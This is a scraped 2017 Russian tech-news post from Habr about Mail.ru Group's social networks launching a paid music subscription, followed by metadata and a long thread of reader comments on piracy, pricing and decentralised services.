в веб-версии. Хотя разработчики уже пообещали, что в скором времени реклама такого типа появится и в мобильных приложениях. Кроме музыки, сейчас социальные сети, принадлежащие Mail.ru Group пробуют работать и с платной подпиской на видео. Такую модель испытывает сейчас социальная сеть «Одноклассники».
<div xmlns="http://www.w3.org/1999/xhtml"><img src="https://habrastorage.org/r/w780q1/getpro/geektimes/post_images/8ba/fe8/69d/8bafe869dce7b63e454918fa0c99cc9e.jpg" data-src="https://habrastorage.org/getpro/geektimes/post_images/8ba/fe8/69d/8bafe869dce7b63e454918fa0c99cc9e.jpg" data-blurred="true"/><br/> <br/> Сегодня стало известно о том, что «Вконтакте», «Одноклассники» и «Мой мир» вводят платную подписку на музыку, <a href="https://www.vedomosti.ru/technology/articles/2017/04/28/687942-vkontakte-odnoklassniki-vvodyat-podpisku">пишут</a> «Ведомости». Об этом заявил представитель Mail.ru Group, которая и владеет всеми тремя соцсетями. Подписка работает как в веб-версии, так и в приложении Boom, которое создано Mail.ru вместе с United Media Agency (UMA). Агентство работает в качестве посредника между владельцем соцсетей и правообладателями.<br/> <br/> Стоит отметить, что теперь в мобильных приложениях социальных сетей можно будет слушать музыку только онлайн, поскольку кэширование отключено. Исключением является лишь приложение Boom, позволяющее пользователям кэшировать музыкальные треки, слушая их в офлайне. Источник рассказал «Ведомостям» о том, что отсутствие кэширования везде, кроме специального приложения — пожелание правообладателей. <br/> <a name="habracut"></a><br/> Дело в том, что они считают прослушивание музыки в оффлайне функцией, которая должна быть доступна в специализированном приложении. Стоить подписка будет 149 рублей в месяц. Она обеспечивает возможность работы сразу со всеми сервисами компании.<br/> <br/> Введение платной подписки не означает, что пользователи потеряли возможность слушать музыку бесплатно. Дело в том, что у купивших подписку пользователей есть дополнительные возможности. Например, они могут отключить аудиорекламу сразу на всех платформах. Также в платной версии есть кэширование, так что музыку можно слушать без подключения к сети. Интересно, что в iOS приложении кэширование музыки исчезло еще в сентябре 2016 года, тогда «Вконтакте» после переговоров с правообладателями восстановила музыкальный раздел. <br/> <br/> Платная подписка стала возможной спустя несколько лет после начала переговоров Mail.ru Group с правообладателями. Основной целью переговоров было заключение соглашения с крупнейшими музыкальными лейблами, включая международные компании и отечественных издателей по лицензированию музыки. Ранее правообладатели часто обвиняли российские социальные сети в пиратстве. Например, сайт «Вконтакте» уже несколько лет находится в списке пиратских ресурсов, который составляет торгпредство США. <br/> <br/> По мнению экспертов, общая сумма контрактов, заключенных Mail.ru Group с издателями, составляет около $8 млн в год. В эту сумму входят минимальные гарантийные платежи, которые правообладатель получает лишь за право использование его музыки сторонними компаниями. Кроме того, Mail.ru Group будет платить лейблам отчисления от каждого проигранного в социальных сетях трека. Дополнительный источник прибыли — реклама, размещаемая в треках. Пока что работает аудиореклама, но только в веб-версии. Хотя разработчики уже пообещали, что в скором времени реклама такого типа появится и в мобильных приложениях. <br/> <br/> Кроме музыки, сейчас социальные сети, принадлежащие Mail.ru Group пробуют работать и с платной подпиской на видео. Такую модель <a href="https://www.vedomosti.ru/technology/articles/2017/03/17/681570-odnoklassniki-brat-dengi">испытывает</a> сейчас социальная сеть «Одноклассники».</div>
Максим Агаджанов (marks)
null
null
<img src="https://habrastorage.org/getpro/geektimes/post_images/8ba/fe8/69d/8bafe869dce7b63e454918fa0c99cc9e.jpg"/><br/> <br/> Сегодня стало известно о том, что «Вконтакте», «Одноклассники» и «Мой мир» вводят платную подписку на музыку, <a href="https://www.vedomosti.ru/technology/articles/2017/04/28/687942-vkontakte-odnoklassniki-vvodyat-podpisku">пишут</a> «Ведомости». Об этом заявил представитель Mail.ru Group, которая и владеет всеми тремя соцсетями. Подписка работает как в веб-версии, так и в приложении Boom, которое создано Mail.ru вместе с United Media Agency (UMA). Агентство работает в качестве посредника между владельцем соцсетей и правообладателями.<br/> <br/> Стоит отметить, что теперь в мобильных приложениях социальных сетей можно будет слушать музыку только онлайн, поскольку кэширование отключено. Исключением является лишь приложение Boom, позволяющее пользователям кэшировать музыкальные треки, слушая их в офлайне. Источник рассказал «Ведомостям» о том, что отсутствие кэширования везде, кроме специального приложения — пожелание правообладателей. <br/>
Сегодня стало известно о том, что «Вконтакте», «Одноклассники» и «Мой мир» вводят платную подписку на музыку, пишут «Ведомости». Об этом заявил представитель Mail.ru Group, которая и владеет всеми тремя соцсетями. Подписка работает как в веб-версии, так и в приложении Boom, которое создано Mail.ru вместе с United Media Agency (UMA). Агентство работает в качестве посредника между владельцем соцсетей и правообладателями. Стоит отметить, что теперь в мобильных приложениях социальных сетей можно будет слушать музыку только онлайн, поскольку кэширование отключено. Исключением является лишь приложение Boom, позволяющее пользователям кэшировать музыкальные треки, слушая их в офлайне. Источник рассказал «Ведомостям» о том, что отсутствие кэширования везде, кроме специального приложения — пожелание правообладателей.
news
1,493,394,048
{ "commentsCount": 130, "favoritesCount": 19, "readingCount": 33697, "score": 10, "votesCount": 12, "votesCountPlus": 11, "votesCountMinus": 1 }
[]
[ "social_networks", "finance" ]
[ "popsci" ]
[ "Mail.ru Group", "социальные сети", "одноклассники", "вконтакте", "мой мир" ]
2
null
null
{ "id": [ 18175611, 18175613, 18175615, 18175617, 18175619, 18175621, 18175623, 18175625, 18175627, 18175629, 18175631, 18175633, 18175635, 18175637, 18175639, 18175641, 18175643, 18175645, 18175647, 18175649, 18175651, 18175653, 18175655, 18175657, 18175659, 18175661, 18175663, 18175665, 18175667, 18175669, 18175671, 18175673, 18175675, 18175677, 18175679, 18175681, 18175683, 18175685, 18175687, 18175689, 18175691, 18175693, 18175695, 18175697, 18175699, 18175701, 18175703, 18175705, 18175707, 18175709, 18175711, 18175713, 18175715, 18175717, 18175719, 18175721, 18175723, 18175725, 18175727, 18175729, 18175731, 18175733, 18175735, 18175737, 18175739, 18175741, 18175743, 18175745, 18175747, 18175749, 18175751, 18175753, 18175755, 18175757, 18175759, 18175761, 18175763, 18175765, 18175767, 18175769, 18175771, 18175773, 18175775, 18175777, 18175779, 18175781, 18175783, 18175785, 18175787, 18175789, 18175791, 18175793, 18175795, 18175797, 18175799, 18175801, 18175803, 18175805, 18175807, 18175809, 18175811, 18175813, 18175815, 18175817, 18175819, 18175821, 18175823, 18175825, 18175827, 18175829, 18175831, 18175833, 18175835, 18175837, 18175839, 18175841, 18175843, 18175845, 18175847, 18175849, 18175851, 18175853, 18175855, 18175857, 18175859, 18175861, 18175863, 18175865, 18175867, 18175869 ], "parent_id": [ null, 18175611, 18175613, 18175615, 18175615, 18175613, 18175621, 18175623, 18175613, 18175627, 18175627, 18175613, 18175633, 18175635, 18175637, 18175633, 18175613, 18175643, 18175613, 18175611, null, 18175651, 18175651, null, 18175657, null, 18175661, 18175663, 18175665, 18175661, null, 18175671, 18175671, 18175675, 18175677, null, null, 18175683, 18175685, 18175685, 18175683, null, 18175693, null, null, 18175699, null, 18175703, 18175705, 18175707, 18175709, 18175711, 18175711, 18175711, 18175717, 18175719, 18175703, 18175703, 18175703, 18175727, 18175729, 18175731, 18175731, 18175731, 18175731, 18175727, null, 18175743, 18175745, null, 18175749, 18175749, 18175753, 18175755, 18175757, 18175759, 18175753, 18175749, 18175765, 18175749, null, 18175771, 18175773, 18175775, 18175777, 18175779, null, 18175783, 18175785, 18175787, 18175789, 18175789, 18175789, 18175785, 18175797, 18175785, 18175783, null, null, null, null, 18175811, 18175813, 18175815, 18175817, 18175815, 18175811, 18175823, 18175825, 18175823, 18175811, 18175811, 18175811, 18175835, null, 18175839, 18175841, 18175841, 18175845, 18175847, 18175849, 18175841, 18175853, 18175841, null, 18175859, 18175861, null, null, null ], "level": [ 0, 1, 2, 3, 3, 2, 3, 4, 2, 3, 3, 2, 3, 4, 5, 3, 2, 3, 2, 1, 0, 1, 1, 0, 1, 0, 1, 2, 3, 1, 0, 1, 1, 2, 3, 0, 0, 1, 2, 2, 1, 0, 1, 0, 0, 1, 0, 1, 2, 3, 4, 5, 5, 5, 6, 7, 1, 1, 1, 2, 3, 4, 4, 4, 4, 2, 0, 1, 2, 0, 1, 1, 2, 3, 4, 5, 2, 1, 2, 1, 0, 1, 2, 3, 4, 5, 0, 1, 2, 3, 4, 4, 4, 2, 3, 2, 1, 0, 0, 0, 0, 1, 2, 3, 4, 3, 1, 2, 3, 2, 1, 1, 1, 2, 0, 1, 2, 2, 3, 4, 5, 2, 3, 2, 0, 1, 2, 0, 0, 0 ], "time_published": [ 1493398794, 1493399401, 1493401340, 1493476978, 1493721885, 1493403994, 1493412056, 1493541369, 1493405542, 1493448027, 1493479003, 1493413083, 1493446481, 1493701547, 1493751389, 1493489261, 1493479196, 1493485919, 1493737402, 1493399402, 1493401362, 1493403317, 1493448575, 1493402276, 1493404533, 1493402779, 1493462014, 1493465337, 1493712230, 1493489945, 1493403082, 1493422349, 1493455551, 1493464732, 1493549186, 1493404723, 1493405608, 1493409357, 1493452944, 1493458593, 1493486548, 1493407427, 1493463626, 1493407474, 1493409189, 1493409772, 1493418397, 1493420942, 1493424281, 1493425128, 1493450934, 1493467797, 1493495097, 1493820395, 1493916652, 1493917322, 1493424373, 1493473226, 1493486544, 1493490860, 1493494631, 1493541633, 1493708402, 1493721616, 1493803335, 1493491159, 1493421244, 1493421647, 1493434731, 1493438596, 1493446938, 1493456704, 1493731994, 1493752381, 1493757719, 1493831837, 1493736627, 1493463460, 1493524996, 1494368292, 1493443411, 1493447573, 1493447689, 1493451353, 1493452645, 1493462417, 1493451058, 1493487015, 1493490943, 1493508218, 1493513423, 1493534808, 1493548975, 1493566663, 1493675343, 1493800999, 1493625543, 1493451198, 1493455957, 1493469376, 1493478204, 1493478535, 1493479128, 1493480169, 1493487734, 1493486136, 1493478585, 1493479438, 1493482271, 1493803686, 1493493784, 1493531930, 1493694895, 1493740056, 1493484041, 1493493426, 1493505481, 1493507318, 1493511204, 1493514962, 1493738529, 1493511538, 1493535749, 1493722255, 1493664556, 1493752686, 1493807414, 1493722404, 1493738974, 1494406511 ], "score": [ 0, 11, 13, 1, 0, 1, 5, 0, 1, 2, 0, 4, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0, 1, -1, 0, 1, 0, 0, 0, 5, 0, 3, 0, 2, 2, 7, 0, 1, 0, 0, 0, 1, 1, 3, 4, 2, 0, 6, 1, 3, 1, 0, 0, 0, 0, 0, 0, 2, -6, 0, 0, 0, 1, 3, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 3, 0, 0, 6, 0, 0, 0, 0, 0, 1, 3, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0 ], "votes": [ 2, 11, 17, 1, 0, 1, 5, 0, 7, 2, 0, 4, 0, 0, 0, 0, 0, 1, 1, 0, 2, 0, 1, 0, 1, 3, 0, 1, 0, 0, 2, 5, 2, 3, 0, 2, 2, 7, 0, 1, 0, 0, 0, 1, 1, 3, 4, 2, 0, 6, 1, 3, 1, 0, 0, 0, 0, 0, 0, 2, 6, 0, 0, 0, 1, 3, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 3, 0, 0, 6, 0, 0, 0, 0, 0, 1, 3, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0 ], "message_html": [ "<div xmlns=\"http://www.w3.org/1999/xhtml\">Если выбирать между платной музыкой ВК и google music, то я выберу последнее.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Только если для вас дополнительные возможности сервиса важнее полноты ассортимента.<br/>\r\nСила контакта в записях, залитых пользователями. Там можно найти и какую-нибудь малоизвестную Воронежскую панк-группу, и последние релизы с японского анимешного фестиваля. В глянцево-рафинированных google play и iTunes этого нет.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ага, точно. А ещё в ВК over9000 bassboosted версий оригинальной композиции, ремиксов от noname диджеев из муходранска и прочего шлака, что иногда затрудняет поиск оригинала песни.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ключевое слово тут — «иногда», зато гораздо большее страдание доставляет отсутствие трека вообще.<br/>\r\nПомойка, конечно, не есть хорошо, но можно найти только то, что есть.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Мне кажется, обилие неадеватных ремиксов связано с тем, что все оригиналы удалены автоматическим поиском по аудиохэшу.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Музыка в вк всегда была для меня неприоритетным источником + качество там сильно гуляет, кривые теги.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Для «сёрфинга» по музыке и поиска чего-то нового самое то. А после можно скачать полные дискографии во FLAC-качестве с торрент-трекеров.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Вот только, к сожалению, крупнейший музыкальный торрент-трекер what.cd полгода назад прикрыли. И теперь всё очень и очень грустно.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Низкопробных аудиозаписей с дурацкими подписями вроде «музыка для тренировок», «BASSBOOSTED by DJ VASYA — убей соседей басами» и проч. тоже хватает. Так что регулировать фонотеку VK, конечно же, надо. Но для этого вполне можно было назначить меня верховным модератором аудиозаписей, как я неоднократно просил через форму обратной связи. И тогда никакие правообладатели не смогли бы подкопаться. В отличие от петербургских хипстеров в подвёрнутых штанишках, которые не брали в руки гантели, я и в морду дать могу.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Когда музыкальные интересы совпадают теми, кто слушает «музыку для тренировок» и «убивает соседей басами», это проблема.<br/>\r\n<br/>\r\nЕсли же слушать ambient, goa-trance, chiptune или touhou, никаких проблем с низким качеством или с мусором нет. Фанаты этих жанров заливают на vk музыку в высшем качестве.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Ох, красава)</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Проблема-то в том, что за прослушивание воронежской панк-группы теперь тоже нужно платить. Я бы может и рад, но сомневаюсь, что до них деньги дойдут.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это мало чем отличается от модели google play.<br/>\r\nВезде копирасты захапали себе все права, и не факт, что авторам (мелким особенно) что-то достаётся.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Если вы зальете свою музыку в гп то она останется доступной без подписки.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Для всех или только для залившего?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Получается что теперь ВК извлекает прибыль нарушая авторские права воронежских панков?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Они и раньше это делали, ничего не изменилось.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">(малоизвестную Воронежскую панк-группу). Не сказал бы что так уж и малоизвестная )<br/>\r\n<br/>\r\nСолнышко лучистое улыбнулось весело,<br/>\r\nПотому что с коpешем мы запели песенку… (с)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Как я понимаю, сейчас их подписка получается дешевле чем у Apple и Google (не уверен так как живу в Украине). Но если сравнить удобство прослушивания музыки в ВК и Google music то скажу то гугл впереди. Мне очень понравилось оформление, анимации, автогенерация плейлистов. Не помню чтобы ВК такое делал. Плюс там выбор огромный. Все что я хотел я там находил. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Когда уже появится децентрализованный открытый сервис на основе торрентов, который позволит слушать музыку так же, как сейчас в соц.сетях, плюс качать и раздавать.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>В студенческие годы хотел сделать подобное. Сканировать личную библиотеку на наличие музыкальных треков (по типу DC-клиентов). Извлекать из них ID3-теги, компоновать в библиотеку и размещать метаданные на обменники. Затем каждый мог бы видеть такую удаленную библиотеку и качать себе.<br/>\r\nЭх… Не хватило силенок у меня. А жаль, сейчас был бы на пиратском корабле с бутылкой рома)</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Просто в маркетах появятся сторонние приложения с возможностью все слушать как и было. А те приложения что уже есть, я думаю адаптируются и тоже смогут.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">вк закрыл аудиозаписи по API, а те приложения которые это обойдут — будут активно репортиться в гугл и блокироваться.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ха ха… т.е. мяу… после закрытия аpi это ожидаемый шаг.<br/>\r\n<br/>\r\nЭто же ждет и прямого конкурента music.yandex.ru, после того как он подберет пользователей ушедших с vk.com.<br/>\r\n<br/>\r\nЗначит выросло платежеспособное поколение (X или кого там… Y...)… что такое 149 рублей за «Воронежскую панк-группу»?<br/>\r\n<br/>\r\nЗвук должен быть свободным.<br/>\r\n<br/>\r\nЗЫ VK.Com не умеет рекомендовать стили и группы по стилям исходя из скачанных\\купленных предпочтений… где же BigData VK.com? Только API резать :-)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Я.музыку это уже не ждет. Там несколько лет как отключение рекламы, HQ и оффлайн на телефоне только за деньги. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Там несколько лет как отключение рекламы, HQ и оффлайн на телефоне только за деньги.</blockquote><p>Причём этот HQ звучит весьма паршиво. От бесплатной версии практически не отличается (или у меня со слухом плохо, вполне допускаю).</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Там обычный 48 KHz 320 kbps MP3, но пожатый довольно посредственно, и без пиетета вроде мультипассов. Звучит оно нормально — пользуюсь на постоянке на телефоне, иногда на десктопе. Не Спотифай, но жить можно — а радио, после закрытия Ласта, и вовсе у меня ответственно за появление всей свежей музыки впоследствии.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Далеко не факт, что эта панк группа, получит какие либо отчисления. Ведь они заключили соглашения, по сути с крупнейшими лейблами. Остальные ничего не получат.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Грубо говоря, массовый «прогресс» в соблюдении прав обладателей — вопрос стоимости. Музыка за 150р, видео за 150-300р — «дайте две», встану в первые ряды подписантов, просто даже чтобы не морочиться излишне. Проблема как раз в том, что пока нет вменяемого полновесного сервиса для «музыки» и «фильмов» (ну или не нашёл до сих пор). </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Героический вы человек, за видео в таком качестве платить… Я его бесплатно смотреть не могу.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Момент с продажей песен странный. Почему то я, к примеру, выточу болт М16 и мне заплатят за один болт. При этом я не могу сделать сотню фотографий и раздавать «копии» покупателям болтов.<br/>\r\nА в случае с правообладателями и вовсе плохо все: кто то, когда то выточил болт и теперь за счет этого болта живет кучка <s>продавцов</s> паразитов.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Если болт очень красивый, вы можете брать деньги с желающих им полюбоваться :)</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">а копиями песен скреплять элементы конструкции, да.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>А они вернут похеренные ранее записи? Если да, то готов заплатить, чтобы перенести к себе в оффлайн.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А подскажите пожалуйста, кто уже разобрался, как в этой модели будут платить инди-группам «за каждое прослушивание трека»? Т. е. в том случае, когда правообладатель композиции — непосредственно группа, а не лейбл.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">группы внезапно узнают, что все таки у них есть какой-то лейбл, котору отчисляются деньги :)</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">На каком же основании? Поддельный договор, поддельные подписи и т. д.? Я думал, 90-е давно прошли…<br/>\r\nВопрос был о группах, которые издают альбомы самостоятельно. Self-released, Not on label — так это обозначается на discogs.com. Есть еще вариант, издают на собственном лейбле. В этом случае все проще? Надо лейблу заключить договор с mail.ru?<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">скорее всего — никак. «либо требуйте удаления ваших треков с ВК, либо заключайте договор с лейблом из списка, если хотите деньги за прослушивания, либо смиритесь что мы крадем ваши деньги»</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Монетизация ранее бесплатного контента обречена на провал. А вот то, что они этим vkopt сломали (видимо, из-за редизайна раздела) — печально…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Он у меня после редизайна ВК отвалился. Перешел на FlyVK.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">А там (вк) есть музыка, которую сам вконтакте заливал или там делается всё платным, что загрузили пользователи?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Надо было национализировать «ВКонтакте», как это предлагали сделать коммунисты. Тогда бы никакие правообладатели не могли бы ничего сделать. Почему всероссийская социальная сеть не принадлежит народу? Это куда годится?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">наверное за это Вас в «великие модераторы звука» и не взяли…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Онлайн нас разбаловал и начали забывать старое правило: можно без ограничений использовать то, что лежит у тебя на компьютере, а то, что лежит «в твоём персональном разделе на каком-то сайте» ты можешь использовать до тех пор, пока позволяет добрый дядя владелец.<br/>\r\n<br/>\r\nА ведь введут gmail.com и mail.ru платную поддержку почтовых аккаунтов «всего за 200 руб/мес» и очень многим придётся платить — слишком много на эти ящики у всех завязано.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>можно без ограничений использовать то, что лежит у тебя на компьютере</blockquote><br/>\r\n«С использованием старых ОС, оборудования и при отключении от сети». Так как в скором времени и ОС, и прошивки ПК будут не лучше этих сайтов.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Это антиутопия. В самом худшем случае останется линукс и подобные. Это если все коммерческие ОС закроются в яблочном стиле.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>В самом худшем случае останется линукс и подобные. </blockquote><br/>\r\nКоторые некуда будет поставить. Да, самая мрачная антиутопия.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Можно закупиться более менее топовым железом прозапас. <br/>\r\nБлаго, пока что можно найти нормальную мать, ноут и прочие устройства, на которые можно поставить любую ОС. А актуальными они будут ещё довольно долгое время. <br/>\r\n<br/>\r\nЯ себе такой запас сделал, правда железа не очень топового а просто списанного из-за апгрейда. Но всё ж таки.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну, если до конца развивать концепцию антиутопии, то такое железо просто не сможет подключится к сети в виду заумных шифрованных протоколов с индивидуальными ключами, вшитыми в железо, а его владельцев объявят террористами и педофилами, ибо такое железо не будет содержать модуля определения террористических переписок и детской порнографии.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Для мрачности можно повспоминать про UEFI и SecureBoot…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Срок сохраняемости железа какой?</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">По моему, практически вечный. Ну разве что винчи, ссд да оперативная память могут с годами получить битые ячейки. Но это такая себе вероятность. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Тупо кондеры вздуются, и не все имеют квалификацию их заменить.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Ну завязано. За месяц всё можно перевести на другой адрес, а 200р единоразово — не та цена, чтобы этим беспокоится заранее. </p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">такого уже не будет. ты итак им платишь, просматривая рекламу </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">О том я и толкую. Чтобы избежать этого, нужно национализировать интернет-компании. Они должны работать на благо народного хозяйства, а не на чьи-то богатства.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Через 10 лет частная компания придумает ещё одну технологию, по важности сравнимую с Гуглом. Через 5 лет после этого её также национализируют.<br/>\r\n<br/>\r\nОстальным будет чёткий сигнал: хотите делать инновации — переезжайте в страну, где нет угрозы отжима бизнеса государством.<br/>\r\n<br/>\r\nИ больше в стране никогда не возникают собственные технологические гиганты…</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Да, инновации должны принадлежать и служить народу. Мало смысла в существовании гигантов, если с них ничего не перепадает народу. Читаю отчёты об их прибыли и думаю: сколько денег, а где же дороги?<br/>\r\nGoogle, кстати, тоже по праву наш. Создатель-то у нас родился. Зря его выпустили, конечно. Сидит там сейчас и ругает Россию, без которой его бы не было. Надо бы обратно его выписать. Better late than never.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Увы, практика показывает, что частная компания, платящая налоги, в итоге выгодней для государства, чем государственная компания, отдающая всю прибыль. Просто потому что частная компания эффективнее.<br/>\r\nНационализируете вы крупнейшую социальную сеть — появится новая частная, и ваша сеть отправится куда-то к майспейсу и аолу. Или, хуже того, не появится, потому что все решат, что в этой стране лучше ничего и не начинать, всё равно отберут.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><p>Был и в России такой, Павел Дуров зовут. Перебрался на Сент-Китс и Невис.</p></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Чтобы сразу все знали — нефиг ничего делать, лучше будь серой массой и проживёшь дольше. сейчас тоже вполне работает, ваше будущее уже наступило.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">У меня одного волосы дыбом встают от подобных комментариев?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Уже есть национальный поисковик Спутник. Для начала начните пользоваться им, а потом о национализации говорите.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Нет конечно же. Они поменяют API и все старые приложения отвалятся.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Прежде всего, нужен запрос от общества.<br/>\r\n<br/>\r\nТо есть, миллионы обычных людей должны сказать: нафиг этот фейсбук, я готов его бросить и уйти в другую сеть. Но пока большинство устраивает централизованная сеть.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Насколько я понимаю, децентрализованная -не значит общественная или бесхозная. Достаточно связать каким-то договором несколько частных сетей, обеспечив деление на сколь-угодно мелкие сегменты. Что бы сегмент в 100 пользователей Вы могли держать на домашнем сервере и он оставался логически связанным с сегментом в 100к пользователей от «Фигбук»™. С этой позиции, надеюсь, не возникает вопросов с финансированием.<br/>\r\nКст, немного из другой оперы, но децентрализованный(хотя и проприетарный) Скайп лет 10 спокойно работал. </div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Какой же Скайп децентрализованный, если у него всегда была единая точка отказа (и управления заодно) — сервера авторизации. Достаточно забанить аккаунт, и остаётся только жаловаться владельцам сервиса.<br/>\r\n<br/>\r\nХороший, проверенный пример децентрализованного протокола — это e-mail.<br/>\r\nВот уж где свобода. Хочешь — сам ставь свой сервер, хочешь — пользуйся гигантом типа gmail.<br/>\r\n<br/>\r\nПохоже, корпорации сразу не могли обнаружить и задавить e-mail как явление, и протокол стал популярным, неуправляемым и свободным. Теперь уже ничего подобного не возникнет.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Вот уж где свобода.</blockquote><br/>\r\nЗависимость от выдающих доменные имена. Отобрали домен- не работает почта, хоть на своём сервере, хоть на другом.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">На IP-адрес типа vasya@55.55.55.55 не придёт?<br/>\r\n<br/>\r\nТак, в принципе, в интернете свобода никакая невозможна.<br/>\r\nАдреса же централизованно выдаются.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><blockquote>Ибо если нет хозяина, то кто и на что будет содержать всё это децентрализованное хозяйство?</blockquote><br/>\r\nА кто держит сервера для других децентрализованных протоколов? Где бесплатные админы у торрентов и биткоинов?</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Ну вообще-то <a href=\"https://diasporafoundation.org/\">такая сеть уже есть</a>… Тут проблема не создать, а продвинуть в массы.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">UFO just landed and posted this here</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\"><a href=\"https://mastodon.social/about\">https://mastodon.social/about</a></div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">Делаешь что то бесплатное хорошо, люди говорят спасибо, пользуются это бесплатное становится популярным. Его покупают, делают платным — профит. Система монитезации российского и не только интернета. Заколебали если честно. <br/>\r\n<br/>\r\nПодбиралась музыка во вконтакте для друзей, когда приходишь в гости можешь запустить свой плейлист и устроить танец, или послушать записи своей подруги великолепно играющей на гитаре сейчас, вместо того чтобы пользоватся облачными сервисами, я буду должен таскать все свои плейлисты на флэшке. <br/>\r\n<br/>\r\nИ снова привет soundcloud, когда же до тебя доберутся капиталисты?<br/>\r\n<br/>\r\nf@ck you mail.ru ни копейки от меня не получишь. Сделай что нибудь свое и хорошо и тогда поговорим.<br/>\r\n</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">ну пока денег просят только за оффлайн, в гостях обычно есть интернет. Плейлисты вот это скорее интересное нововведение, папки уж больно зачаточные функции имеют.</div>", "<div xmlns=\"http://www.w3.org/1999/xhtml\">сами понимаете к чему идет</div>", "<div 